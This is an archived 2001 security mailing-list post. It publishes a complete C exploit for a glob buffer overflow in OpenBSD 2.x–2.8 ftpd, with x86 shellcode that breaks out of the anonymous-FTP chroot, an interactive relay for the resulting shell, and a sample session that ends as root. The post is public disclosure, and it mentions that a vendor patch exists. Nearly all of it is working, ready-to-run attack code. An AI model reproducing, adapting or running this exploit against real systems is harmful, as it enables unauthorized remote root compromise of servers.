OpenBSD 2.8 ftpd/glob exploit (breaks chroot)

From: Tomas Kindahl (stokat_private)
Date: Mon Apr 16 2001 - 06:50:50 PDT

  • Next message: Microsoft Product Security: "Microsoft Security Bulletin MS01-021"

    I thought I'd wait till after the weekend before posting this. Here goes:
    
    /*
    OpenBSD 2.x - 2.8 ftpd exploit.
      It is possible to exploit an anonymous ftp without write permission
      under certain circumstances. One is most likely to succeed if there
      is a single directory somewhere with more than 16 characters in its
      name.
      Of course, if one has write permissions, one could easily create
      such a directory.
      My return values aren't that good. Find your own.
      Patch is available at http://www.openbsd.org/errata.html
    Example:
      ftp> pwd
      257 "/test" is current directory.
      ftp> dir
      229 Entering Extended Passive Mode (|||12574|)
      150 Opening ASCII mode data connection for '/bin/ls'.
      total 2
      drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
      226 Transfer complete.
    .....
      $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
      // 230 Guest login ok, access restrictions apply.
      // 250 CWD command successful.
      retaddr = dfbeb970
      Press enter..
      remember to remove the "adfa"-dir
      id
      uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
    The shellcode basically does:
      seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
      chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
        chdir("..");
      chroot(".."); execve("/bin//sh", ..);
    Credits:
      COVERT for their advisory.
      The OpenBSD devteam for a great OS.
      beercan for letting me test this on his OpenBSD 2.8-RELEASE
    Author:
      Tomas Kindahl <stokat_private>
      Stok@{irc,ef}net
    */
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    
    extern char *optarg;
    static int debug;
    int cflag, lflag, sflag;
    
    /* The execve-part was stolen from "predator" */
    char shellcode[] =
    "\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
    "\x58\x50\x66\x68\x2e\x2e\x89\xe1"
    "\x50\x51\x50\xb0\x05\xcd\x80\x89"
    "\xc3\x58\x50\x68\x61\x64\x66\x61"
    "\x89\xe2\x66\x68\x6d\x01\x52\x50"
    "\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
    "\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
    "\x80\x51\x50\x31\xc9\xb1\x64\xb0"
    "\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
    "\x80\x31\xc0\x50\x68\x2f\x2f\x73"
    "\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x50\x53\x50\x54\x53\xb0\x3b\x50"
    "\xcd\x80\xc3";
    
    #define USER "USER ftp\r\n"
    #define PASS "PASS -user@\r\n"
    
    void usage(const char *);
    void docmd(int s, const char *cmd, int print);
    void communicate(int s);
    
    int main(int argc, char *argv[])
    {
      char expbuf[512] = "LIST ", *basedir, option;
      char commandbuf[512] = "", *hostname;
      int cnt, dirlen, explen, sendlen;
      int s, port = 21, pad;
      long retaddr;
      struct sockaddr_in sin;
      struct hostent *he;
    
      while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
        switch(option)
          {
          case 'd':
            debug++;
            break;
          case 'c':
            cflag = 1;
            basedir = optarg;
            break;
          case 'l':
            lflag = 1;
            dirlen = atoi(optarg);
            if(dirlen < 16)
              {
                usage(argv[0]);
                exit(0);
              }
            break;
          case 'p':
            port = atoi(optarg);
            break;
          case 's':
            sflag = 1;
            retaddr = strtoul(optarg, 0, 0);
            break;
          default:
            usage(argv[0]);
            exit(0);
          }
    
      if(!cflag || !lflag)
        {
          usage(argv[0]);
          exit(0);
        }
    
      if(argc - optind == 1)
        hostname = argv[optind];
      else
        {
          usage(argv[0]);
          exit(0);
        }
    
      if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
          perror("socket");
          exit(1);
        }
    
      if((he = gethostbyname(hostname)) == NULL)
        {
          herror(hostname);
          exit(0);
        }
      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_port = htons(port);
      memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
      if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
        {
          perror("connect");
          exit(0);
        }
    
      if(debug)
        fprintf(stderr, "// basedir = \"%s\"\n", basedir);
    
      /* "untrusted input"? */
      for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
        strcat(expbuf, "*/../");
      strcat(expbuf, "*/");
      if(debug)
        fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);
    
      explen = cnt*(dirlen+4) + dirlen + 1;
      if(debug)
        fprintf(stderr, "// explen = %d\n", explen);
    
      sendlen = strlen(expbuf);
      if(debug)
        fprintf(stderr, "// sendlen = %d\n", sendlen);
    
      docmd(s, "", 0);
    
      docmd(s, USER, 0);
      docmd(s, PASS, 1);
    
      snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
      docmd(s, commandbuf, 1);
    
    
    /*************************/
    
      pad = 1027 - explen;
      if(debug)
        fprintf(stderr, "// pad = %d\n", pad);
    
      for(; pad >= 0; pad--)
        strcat(expbuf, "x");
    
      /* return address */
      if(!sflag)
        {
          switch(dirlen)
            {
            case 16:
              retaddr = 0xdfbeab60;
            case 26:
              retaddr = 0xdfbefe40;
            default:
              /* I don't have the patience to investigate this. */
              retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
            }
          retaddr+=20;
        }
    
      fprintf(stderr, "retaddr = %.8lx\n", retaddr);
      /* endian dependant */
      strncat(expbuf, (char *) &retaddr, 4);
    
      for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
        strcat(expbuf, "\x90");
    
      strcat(expbuf, shellcode);
    
      strcat(expbuf, "\r\n");
    /*************************/
    
      fprintf(stderr, "Press enter.."); fflush(stderr);
      fgets(commandbuf, sizeof(commandbuf)-1, stdin);
    
      docmd(s, expbuf, 0);
    
      fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
      communicate(s);
    
      return 0;
    }
    
    void usage(const char *s)
    {
      fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
    }
    
    void docmd(int s, const char *cmd, int print)
    {
      char uglybuf[1024];
      int len;
      fd_set rfds;
      struct timeval tv;
    
      len = strlen(cmd);
      if(debug)
        {
          write(STDERR_FILENO, "\\\\ ", 3);
          write(STDERR_FILENO, cmd, len);
        }
      if(send(s, cmd, len, 0) != len)
        {
          perror("send");
          exit(0);
        }
    
      FD_ZERO(&rfds);
      FD_SET(s, &rfds);
      tv.tv_sec = 1;
      tv.tv_usec = 0;
      select(s+1, &rfds, NULL, NULL, &tv);
      if(FD_ISSET(s, &rfds))
        {
          if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
            {
              perror("recv");
              exit(0);
            }
          if(len == 0)
            {
              fprintf(stderr, "EOF on socket. Sorry.\n");
              exit(0);
            }
          if(debug || print)
            {
              write(STDERR_FILENO, "// ", 3);
              write(STDERR_FILENO, uglybuf, len);
            }
        }
    }
    
    void communicate(int s)
    {
      char buf[1024];
      int len;
      fd_set rfds;
    
      while(1)
        {
          FD_ZERO(&rfds);
          FD_SET(STDIN_FILENO, &rfds);
          FD_SET(s, &rfds);
          select(s+1, &rfds, NULL, NULL, NULL);
          if(FD_ISSET(STDIN_FILENO, &rfds))
            {
              if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
                return;
              if(send(s, buf, len, 0) == -1)
                return;
            }
          if(FD_ISSET(s, &rfds))
            {
              if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
                return;
              if(write(STDOUT_FILENO, buf, len) == -1)
                return;
            }
        }
    }
    
    --
    Tomas Kindahl                    tomas.kindahlat_private
    CodeFactory AB                   http://www.codefactory.se/
    Office: +46 (0)90 71 86 13       Cell: +46 (0)73 922 92 30
    



    This archive was generated by hypermail 2b30 : Mon Apr 16 2001 - 12:24:44 PDT